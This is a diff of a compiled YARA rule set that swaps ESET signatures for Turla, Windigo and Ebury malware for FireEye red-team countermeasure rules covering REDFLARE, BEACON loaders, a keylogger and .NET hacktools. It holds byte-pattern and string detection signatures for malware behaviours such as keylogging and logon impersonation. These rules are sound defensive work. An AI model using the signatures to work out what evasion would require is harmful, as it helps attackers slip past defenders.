-		$certif2 = {12 90 f2 41 d9 b2 80 af 77 fc da 12 c6 b4 96 9c}
+		$load = { EB ?? 58 48 8B 10 4C 8B 48 ?? 48 8B C8 [1-10] 48 83 C1 ?? 48 03 D1 FF }
 
 	condition:
-		( uint16(0)==0x5a4d) and 1 of them and filesize <2MB
+		( uint16(0)!=0x5A4D) and all of them
 }
-import "pe"
-
-rule ESET_Gazer_Logfile_Name : FILE
+rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_3 : FILE
 {
 	meta:
-		description = "Turla Gazer malware"
-		author = "ESET Research"
-		id = "3e1454e9-dddf-5197-b486-b96d725fdb58"
-		date = "2017-08-30"
-		modified = "2017-08-29"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/turla/gazer.yar#L67-L85"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "b50553f4b4b07f124e5bd390e7dc8ac6b60a8ef185f3bc227894f957d6483478"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "2f6785c4-f4d0-52ff-8c46-da953e2ca92a"
+		date = "2020-12-01"
+		date = "2020-12-01"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_3.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "9ccda4d7511009d5572ef2f8597fba4e,ece07daca53dd0a7c23dacabf50f56f1"
+		logic_hash = "ee104bc145686a134e4d6d620dae7d1dacff7645d47f1a8d7a212327352b8e87"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		contact = "github@eset.com"
-		license = "BSD 2-Clause"
+		rev = 1
 
 	strings:
-		$s1 = "CVRG72B5.tmp.cvr"
-		$s2 = "CVRG1A6B.tmp.cvr"
-		$s3 = "CVRG38D9.tmp.cvr"
+		$calc_image_size = { 28 00 00 00 [2-30] 83 E2 1F [4-20] C1 F8 05 [0-8] 0F AF C? [0-30] C1 E0 02 }
+		$str1 = "CreateCompatibleBitmap" fullword
+		$str2 = "BitBlt" fullword
+		$str3 = "runCommand" fullword
 
 	condition:
-		( uint16(0)==0x5a4d) and 1 of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule ESET_Generic_Carbon : FILE
+rule FIREEYE_RT_APT_Loader_Win64_REDFLARE_1 : FILE
 {
 	meta:
-		description = "Turla Carbon malware"
-		author = "ESET Research"
-		id = "efdc0d16-a974-5c00-a401-391d60f3081e"
-		date = "2017-03-30"
-		modified = "2017-03-30"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/turla/carbon.yar#L33-L51"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "6481ccafb7c7c78bc52d01881cb96f3aa6209fdd35e090bdc9d5f5105b4e38ea"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "dc162f26-66d3-5359-b1d7-ef2208b359e2"
+		date = "2020-11-27"
+		date = "2020-11-27"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win64_REDFLARE_1.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "f20824fa6e5c81e3804419f108445368"
+		logic_hash = "2cae245a6aa36dccc2228cccefdc4ca0eb278901f063e072a369000f67d73a55"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		contact = "github@eset.com"
-		license = "BSD 2-Clause"
+		rev = 1
 
 	strings:
-		$s1 = "ModStart"
-		$t1 = "STOP|OK"
-		$t2 = "STOP|KILL"
+		$alloc_n_load = { 41 B9 40 00 00 00 41 B8 00 30 00 00 33 C9 [1-10] FF 50 [4-80] F3 A4 [30-120] 48 6B C9 28 [3-20] 48 6B C9 28 }
+		$const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A }
 
 	condition:
-		( uint16(0)==0x5a4d) and (1 of ($s*)) and (1 of ($t*))
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-import "pe"
-
-rule ESET_Carbon_Metadata
+rule FIREEYE_RT_APT_Keylogger_Win64_REDFLARE_1 : FILE
 {
 	meta:
-		description = "Turla Carbon malware"
-		author = "ESET Research"
-		id = "976b6a7d-00bf-5d0f-baf9-84fc5dbd21a2"
-		date = "2017-03-30"
-		modified = "2017-03-30"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/turla/carbon.yar#L53-L69"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "81b59e9566f3b3356acf12dadb80abdcbee28e0b1a9efead66fcb95bf6fc1aa5"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "3c980f5a-c775-5c25-ba28-91a93a1b9a85"
+		date = "2020-12-01"
+		date = "2020-12-01"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Keylogger_Win64_REDFLARE_1.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "fbefb4074f1672a3c29c1a47595ea261"
+		logic_hash = "26fe577ba637c484d9a8ccc2173b5892a76328a90a39a2bebbae6bd2a6329485"
 		score = 75
-		quality = 80
-		tags = ""
-		contact = "github@eset.com"
-		license = "BSD 2-Clause"
+		quality = 75
+		tags = "FILE"
+		rev = 1
+
+	strings:
+		$create_window = { 41 B9 00 00 CF 00 [4-40] 33 C9 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 FF 15 }
+		$keys_check = { B9 14 00 00 00 FF 15 [4-8] B9 10 00 00 00 FF 15 [4] BE 00 80 FF FF 66 85 C6 75 ?? B9 A0 00 00 00 FF 15 [4] 66 85 C6 75 ?? B9 A1 00 00 00 FF 15 [4] 66 85 C6 74 }
 
 	condition:
-		(pe.version_info["InternalName"] contains "SERVICE.EXE" or pe.version_info["InternalName"] contains "MSIMGHLP.DLL" or pe.version_info["InternalName"] contains "MSXIML.DLL") and pe.version_info["CompanyName"] contains "Microsoft Corporation"
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-rule ESET_Mumblehard_Packer
+rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_4 : FILE
 {
 	meta:
-		description = "Mumblehard i386 assembly code responsible for decrypting Perl code"
-		author = "Marc-Etienne M.Léveillé"
-		id = "981c18e3-ac28-54f5-97ab-44b1d12a1389"
-		date = "2015-04-07"
-		modified = "2015-05-01"
-		reference = "http://www.welivesecurity.com"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/mumblehard/mumblehard_packer.yar#L32-L47"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "a04f50a7054c4ce8ad9be4e7f3373ad4f36eb9443e223601974e852c25603f5f"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "6e8621b0-a0ee-5fc7-a2b8-1973a42d6e37"
+		date = "2020-12-01"
+		date = "2020-12-01"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_4.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "a8b5dcfea5e87bf0e95176daa243943d, 9dcb6424662941d746576e62712220aa"
+		logic_hash = "d027e98ad8fa6d03a49ceffd81fba6a621173e2dbabae652bee2f4e8489bb378"
 		score = 75
-		quality = 80
-		tags = ""
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 2
 
 	strings:
-		$decrypt = { 31 db  [1-10]  ba ?? 00 00 00  [0-6]  (56 5f |  89 F7)
-                     39 d3 75 13 81 fa ?? 00 00 00 75 02 31 d2 81 c2 ?? 00 00
-                     00 31 db 43 ac 30 d8 aa 43 e2 e2 }
+		$s1 = "LogonUserW" fullword
+		$s2 = "ImpersonateLoggedOnUser" fullword
+		$s3 = "runCommand" fullword
+		$user_logon = { 22 02 00 00 [1-10] 02 02 00 00 [0-4] E8 [4-40] ( 09 00 00 00 [1-10] 03 00 00 00 | 6A 03 6A 09 ) [4-30] FF 15 [4] 85 C0 7? }
 
 	condition:
-		$decrypt
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "elf"
-
-rule ESET_Helimodproxy
+rule FIREEYE_RT_Trojan_Raw_Generic_4 : FILE
 {
 	meta:
-		description = "HelimodProxy malicious Apache module"
-		author = "ESET, spol. s r.o."
-		id = "8c05bd0b-9645-580c-ac80-58e45b2a8884"
-		date = "2024-04-27"
-		modified = "2024-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/windigo/helimod.yar#L32-L54"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		hash = "e39667aa137e315bc26eaef791ccab52938fd809"
-		logic_hash = "9e3d57add1042eff41b42f0c8d46ed37af4092d5af4d4b2088b07992a4649bc2"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "9092f9bb-cab6-55c0-9452-70a6407db93a"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Trojan_Raw_Generic_4.yar#L4-L17"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "f41074be5b423afb02a74bc74222e35d"
+		logic_hash = "8ffd23631c1a9d1abe6695858ec34d61261b3b3f097be94372f3f34e46e7211e"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = 1
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$1 = "secret\x00%s:%u"
-		$2 = "/%s/%s/%s%s"
-		$3 = "ad\x00pmt"
-		$4 = "mod_dir.c"
-		$5 = "pmtad"
+		$s0 = { 83 ?? 02 [1-16] 40 [1-16] F3 A4 [1-16] 40 [1-16] E8 [4-32] FF ( D? | 5? | 1? ) }
+		$s1 = { 0F B? [1-16] 4D 5A [1-32] 3C [16-64] 50 45 [8-32] C3 }
 
 	condition:
-		ESET_Apachemodule_PRIVATE and ($1 or ($2 and $3) or ($4 and $5))
+		uint16(0)!=0x5A4D and all of them
 }
-import "elf"
-
-rule ESET_Helimodredirect
+rule FIREEYE_RT_Loader_Win_Generic_17 : FILE
 {
 	meta:
-		description = "HelimodRedirect malicious Apache module"
-		author = "ESET, spol. s r.o."
-		id = "d8fe674d-8895-5501-b2e3-f74c386e10f0"
-		date = "2024-04-27"
-		modified = "2024-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/windigo/helimod.yar#L56-L79"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		hash = "e39667aa137e315bc26eaef791ccab52938fd809"
-		logic_hash = "1a85cae7ee354e5d96e88781b4e0a49757016d8b64dfb80c07a13b36bf9091e2"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "4e5bf741-c1e3-54af-9580-02925ba6fc6a"
+		date = "2020-11-25"
+		date = "2020-11-25"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Loader_Win_Generic_17.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "562ecbba043552d59a0f23f61cea0983"
+		logic_hash = "5c20472c3af0c5b8c825671b12763900d6a711695ed04661b33cbf442422348d"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = 1
+		quality = 75
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$h1 = "secret\x00%s:%"
-		$h2 = "$!%#!$"
-		$h3 = "mod_security2.c"
-		$r1 = "%s?DOM=%s&URI=%s"
-		$r2 = "REDIRECT_URL"
+		$s0 = { 89 [1-16] FF 15 [4-16] 89 [1-24] E8 [4-16] 89 C6 [4-24] 8D [1-8] 89 [1-4] 89 [1-4] E8 [4-16] 89 [1-8] E8 [4-24] 01 00 00 00 [1-8] 89 [1-8] E8 [4-64] 8A [1-8] 88 }
+		$s1 = { 83 EC [1-16] 04 00 00 00 [1-24] 00 30 00 00 [1-24] FF 15 [4-16] EB [16-64] 20 00 00 00 [0-8] FF 15 [4-32] C7 44 24 ?? 00 00 00 00 [0-8] C7 44 24 ?? 00 00 00 00 [0-16] FF 15 }
+		$si1 = "fread" fullword
+		$si2 = "fwrite" fullword
 
 	condition:
-		ESET_Apachemodule_PRIVATE and any of ($h*) and any of ($r*)
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "elf"
-
-rule ESET_Helimodsteal
+rule FIREEYE_RT_Loader_Win_Generic_18 : FILE
 {
 	meta:
-		description = "HelimodSteal malicious Apache module"
-		author = "ESET, spol. s r.o."
-		id = "7b080f21-d6e3-5dda-bfd9-fb9d82fbb98e"
-		date = "2024-04-27"
-		modified = "2024-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/windigo/helimod.yar#L81-L105"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		hash = "e39667aa137e315bc26eaef791ccab52938fd809"
-		logic_hash = "9c0a5842dc986fec667fc7d7ad9d0c63b89b4a5ec87c9c9b72574ca5b15df928"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "6f44bd64-29bd-50e2-8b61-7ba61bb1f688"
+		date = "2020-11-25"
+		date = "2020-11-25"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Loader_Win_Generic_18.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "c74ebb6c238bbfaefd5b32d2bf7c7fcc"
+		logic_hash = "28c9497f646fcf3daf7007d7afd37971dd85382062c064173f13049ad419fef1"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = 2
+		quality = 75
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$h1 = "secret\x00%s:%"
-		$h2 = "$!%#!$"
-		$h3 = "mod_security2.c"
-		$s1 = "p0sT5n1F3r"
-		$s2 = "ENGINE_ON"
-		$s3 = "POST /"
+		$s0 = { 89 [1-16] FF 15 [4-16] 89 [1-24] E8 [4-16] 89 C6 [4-24] 8D [1-8] 89 [1-4] 89 [1-4] E8 [4-16] 89 [1-8] E8 [4-24] 01 00 00 00 [1-8] 89 [1-8] E8 [4-64] 8A [1-8] 88 }
+		$s2 = { 83 EC [4-24] 00 10 00 00 [4-24] C7 44 24 ?? ?? 00 00 00 [0-8] FF 15 [4-24] 89 [1-4] 89 [1-4] 89 [1-8] FF 15 [4-16] 3? ?? 7? [4-24] 20 00 00 00 [4-24] FF 15 [4-32] F3 A5 }
+		$si1 = "fread" fullword
+		$si2 = "fwrite" fullword
 
 	condition:
-		ESET_Apachemodule_PRIVATE and any of ($h*) and any of ($s*)
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-rule ESET_Onimiki : LINUX_ONIMIKI
+rule FIREEYE_RT_Trojan_Win_Generic_101 : FILE
 {
 	meta:
-		description = "Linux/Onimiki malicious DNS server"
-		author = "Olivier Bilodeau <bilodeau@eset.com>"
-		id = "3a99799f-fbb4-5fee-a796-3310acd10e17"
-		date = "2014-02-06"
-		modified = "2014-04-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/windigo/windigo-onimiki.yar#L32-L59"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "eac30f5c9a9606d1d0e14c55e0532c54976fbb0d2e4f5cd2d9f719b77e07161a"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "0290aaea-d65b-5883-97f9-549d107e3e1f"
+		date = "2020-11-25"
+		date = "2020-11-25"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Trojan_Win_Generic_101.yar#L4-L20"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "2e67c62bd0307c04af469ee8dcb220f2"
+		logic_hash = "e530183f3cab01560b1abc91e2111e5d9e5aadc1c8134027ac07d8917f9419a0"
 		score = 75
-		quality = 80
-		tags = "LINUX/ONIMIKI"
-		malware = "Linux/Onimiki"
-		operation = "Windigo"
-		contact = "windigo@eset.sk"
-		license = "BSD 2-Clause"
+		quality = 75
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$a1 = {43 0F B6 74 2A 0E 43 0F  B6 0C 2A 8D 7C 3D 00 8D}
-		$a2 = {74 35 00 8D 4C 0D 00 89  F8 41 F7 E3 89 F8 29 D0}
-		$a3 = {D1 E8 01 C2 89 F0 C1 EA  04 44 8D 0C 92 46 8D 0C}
-		$a4 = {8A 41 F7 E3 89 F0 44 29  CF 29 D0 D1 E8 01 C2 89}
-		$a5 = {C8 C1 EA 04 44 8D 04 92  46 8D 04 82 41 F7 E3 89}
-		$a6 = {C8 44 29 C6 29 D0 D1 E8  01 C2 C1 EA 04 8D 04 92}
-		$a7 = {8D 04 82 29 C1 42 0F B6  04 21 42 88 84 14 C0 01}
-		$a8 = {00 00 42 0F B6 04 27 43  88 04 32 42 0F B6 04 26}
-		$a9 = {42 88 84 14 A0 01 00 00  49 83 C2 01 49 83 FA 07}
+		$s0 = { 2A [1-16] 17 [1-16] 02 04 00 00 [1-16] FF 15 }
+		$s1 = { 81 7? [1-3] 02 04 00 00 7? [1-3] 83 7? [1-3] 17 7? [1-3] 83 7? [1-3] 2A 7? }
+		$s2 = { FF 15 [4-16] FF D? [1-16] 3D [1-24] 89 [1-8] E8 [4-16] 89 [1-8] F3 A4 [1-24] E8 }
+		$si1 = "PeekMessageA" fullword
+		$si2 = "PostThreadMessageA" fullword
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and @s0[1]<@s1[1] and @s1[1]<@s2[1] and all of them
 }
-import "elf"
-
-rule ESET_Libkeyutils_With_Ctor
+rule FIREEYE_RT_Hacktool_MSIL_GETDOMAINPASSWORDPOLICY_1 : FILE
 {
 	meta:
-		description = "This rule detects if a libkeyutils.so shared library has a potentially malicious function to be called when loaded, either via a glibc constructor (DT_INIT + .ctors) or an initializer function in DT_INIT_ARRAY."
-		author = "ESET, spol. s r.o."
-		id = "7b466bf7-f895-569d-99b0-eca95a6ebc83"
-		date = "2024-02-01"
-		modified = "2024-04-29"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/windigo/ebury.yar#L3-L54"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		hash = "e7debd6e453192ad8376db5bab03ed0d87566591"
-		logic_hash = "c6172aebc67a05fb044b0450aafcc71c7d1fd2831985587d1a9ad53f59e14214"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the recon utility 'getdomainpasswordpolicy' project."
+		author = "FireEye"
+		id = "69745e99-33cc-5171-ae7a-5c98439a0b6d"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/GETDOMAINPASSWORDPOLICY/production/yara/HackTool_MSIL_GETDOMAINPASSWORDPOLICY_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "6b2ea3ebfea2c87f16052f4a43b64eb2d595c2dd4a64d45dfce1642668dcf602"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = 2
+		quality = 73
+		tags = "FILE"
+		rev = 4
 
 	strings:
-		$libname = "libkeyutils.so.1"
+		$typelibguid0 = "a5da1897-29aa-45f4-a924-561804276f08" ascii nocase wide
 
 	condition:
-		for any ptr_size in (4,8) : (((ptr_size==4 and elf.machine==elf.EM_386) or (ptr_size==8 and elf.machine==elf.EM_X86_64)) and for any d in elf.dynamic : (d.type==elf.DT_SONAME and ( for any s in elf.sections : (s.name==".dynstr" and $libname at (s.offset+d.val)) or for any s in elf.dynamic : (s.type==elf.DT_STRTAB and $libname at (s.val+d.val)))) and ( for any s in elf.sections : (s.name==".ctors" and s.size>2*ptr_size) or for any d in elf.dynamic : (d.type==elf.DT_INIT_ARRAYSZ and d.val>ptr_size)))
+		filesize <10MB and ( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-import "elf"
-
-rule ESET_Ebury_V1_7_Crypto
+rule FIREEYE_RT_Tool_MSIL_Sharpgrep_1 : FILE
 {
 	meta:
-		description = "This rule detects the strings decryption routine in Ebury v1.7 and v1.8"
-		author = "ESET, spol. s r.o."
-		id = "93dadf5f-b572-5217-8c82-4957c6d24955"
-		date = "2023-08-01"
-		modified = "2024-04-29"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/windigo/ebury.yar#L56-L97"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		hash = "e7debd6e453192ad8376db5bab03ed0d87566591"
-		logic_hash = "41908951069a472d7528f2f228f3681f008d16a0436e341d339909efc4933e66"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGrep' project."
+		author = "FireEye"
+		id = "c7569d33-f57d-5f9c-aa2a-78866c680b5b"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPPGREP/production/yara/Tool_MSIL_SharpGrep_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "c22bfc50b3ab3c4082006aad3c3c89684cffe1e429b001b0bb08758856a47d04"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = 1
+		quality = 73
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$64 = {
-            48 69 ( 9C 24 ?? ?? ?? ?? | 5C 24 ?? | D2) 6D 4E C6 41 //  imul    rbx, [rsp+_buf], 41C64E6Dh
-            8B (0C 16 | 34 07)                      //  mov     ecx, [rsi+rdx]
-            48 81 C? 39 30 00 00                    //  add     rbx, 12345
-            ( 31 D? |                               //  xor     ecx, ebx
-              31 D? 48 89 9C 24 ?? ?? ?? ?? |       //  mov     [rsp+_buf], rbx
-              31 D? 48 89 5C 24 ?? )                //  ^ optional
-            89 (0C 10 | 34 01)                      //  mov     [rax+rdx], ecx
-            48 83 C? 04                             //  add     rdx, 4
-            48 (81 FA | 3D ) ?? ?? ?? ??            //  cmp     rdx, _size
-            75 D?                                   //  jnz     short _begin
-        }
-		$32 = {
-            69 C9 6D 4E C6 41      // imul    ecx, 41C64E6Dh
-            8B B4 1A ?? ?? ?? ??   // mov     esi, [edx+ebx+_data]
-            81 C1 39 30 00 00      // add     ecx, 12345
-            31 CE                  // xor     esi, ecx
-            89 34 10               // mov     [eax+edx], esi
-            83 C2 04               // add     edx, 4
-            81 FA ?? ?? ?? ??      // cmp     edx, _size
-            75 DD                  // jnz     short loc_69A5
-        }
+		$typelibguid0 = "f65d75b5-a2a6-488f-b745-e67fc075f445" ascii nocase wide
 
 	condition:
-		any of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-/*
- * YARA Rule Set
- * Repository Name: FireEye-RT
- * Repository: https://github.com/mandiant/red_team_tool_countermeasures/
- * Retrieval Date: 2024-08-04
- * Git Commit: 3561b71724dbfa3e2bb78106aaa2d7f8b892c43b
- * Number of Rules: 168
- * Skipped: 0 (age), 4 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * BSD 2-Clause License
-
-Copyright (c) 2023, MANDIANT
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-1. Redistributions of source code must retain the above copyright notice, this
-   list of conditions and the following disclaimer.
-
-2. Redistributions in binary form must reproduce the above copyright notice,
-   this list of conditions and the following disclaimer in the documentation
-   and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
-OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
- */
-rule FIREEYE_RT_Hunting_Gadgettojscript_1
+rule FIREEYE_RT_Hacktool_MSIL_Wmispy_1 : FILE
 {
 	meta:
-		description = "This rule is looking for B64 offsets of LazyNetToJscriptLoader which is a namespace specific to the internal version of the GadgetToJScript tooling."
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIspy' project."
 		author = "FireEye"
